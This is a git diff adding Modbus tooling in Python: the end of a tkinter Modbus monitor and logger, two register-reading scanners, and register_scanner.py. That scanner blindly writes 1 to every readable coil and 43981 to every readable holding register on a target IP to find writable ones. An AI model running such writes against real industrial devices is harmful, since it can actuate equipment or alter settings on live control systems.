Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ 